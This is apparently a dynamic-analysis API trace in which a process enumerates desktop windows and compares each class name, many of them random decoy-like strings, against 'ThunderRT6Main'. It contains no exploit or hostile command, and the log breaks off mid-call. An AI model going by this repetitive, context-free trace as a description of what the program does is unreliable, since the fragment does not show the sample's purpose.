[0093.924] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0093.924] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0093.924] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0093.924] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0093.924] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0093.924] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0093.924] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0093.924] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0093.924] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.924] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0093.924] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0093.924] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0093.924] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0093.924] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0093.924] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.924] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.924] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0093.924] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0093.924] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0093.924] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0093.925] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0093.925] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.925] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0093.925] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0093.925] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0093.925] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0093.925] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0093.925] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.925] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0093.925] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0093.925] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0093.925] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0093.925] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0093.925] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.925] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0093.925] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0093.925] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0093.925] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0093.925] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0093.925] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.925] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0093.925] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0093.925] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0093.925] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0093.925] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0093.925] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.925] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0093.925] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0093.925] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0093.925] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0093.925] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0093.926] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0093.926] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.926] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0093.926] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0093.926] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0093.926] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0093.926] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0093.926] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.926] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0093.926] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0093.926] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0093.926] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0093.926] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0093.926] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.926] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0093.926] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0093.926] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0093.926] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0093.926] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0093.926] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.926] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0093.926] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0093.926] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0093.926] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0093.926] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0093.926] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.926] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0093.926] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0093.926] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0093.926] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0093.926] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0093.926] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0093.927] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.927] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0093.927] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0093.927] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0093.927] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0093.927] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0093.927] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.927] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0093.927] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0093.927] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0093.927] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0093.927] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0093.927] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.927] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0093.927] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0093.927] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0093.927] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0093.927] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0093.927] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.927] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0093.927] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0093.927] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0093.927] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0093.927] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0093.927] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.927] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0093.927] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0093.927] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0093.927] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0093.927] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0093.927] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0093.928] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.928] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0093.928] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0093.928] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0093.928] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0093.928] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0093.928] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.928] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0093.928] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0093.928] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0093.928] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.928] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0093.928] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0093.928] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.928] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0093.928] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0093.928] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0093.928] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0093.928] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0093.928] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.928] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0093.928] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0093.928] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0093.928] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0093.928] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.928] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0093.928] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0093.928] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0093.928] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0093.928] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.928] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0093.928] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.929] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.929] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0093.929] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0093.929] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.929] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0093.929] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.929] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.929] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0093.929] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.929] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.929] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0093.929] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.929] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0093.929] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0093.929] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0093.929] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.929] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0093.929] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.929] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.929] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0093.929] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.929] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0093.929] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0093.929] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.929] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0093.929] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0093.929] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0093.929] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.929] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0093.929] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0093.930] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0093.930] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0093.930] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0093.930] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0093.930] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0093.930] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0093.930] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0093.930] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0093.930] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.930] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0093.930] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0093.930] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.930] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0093.930] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.930] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0093.930] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.930] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 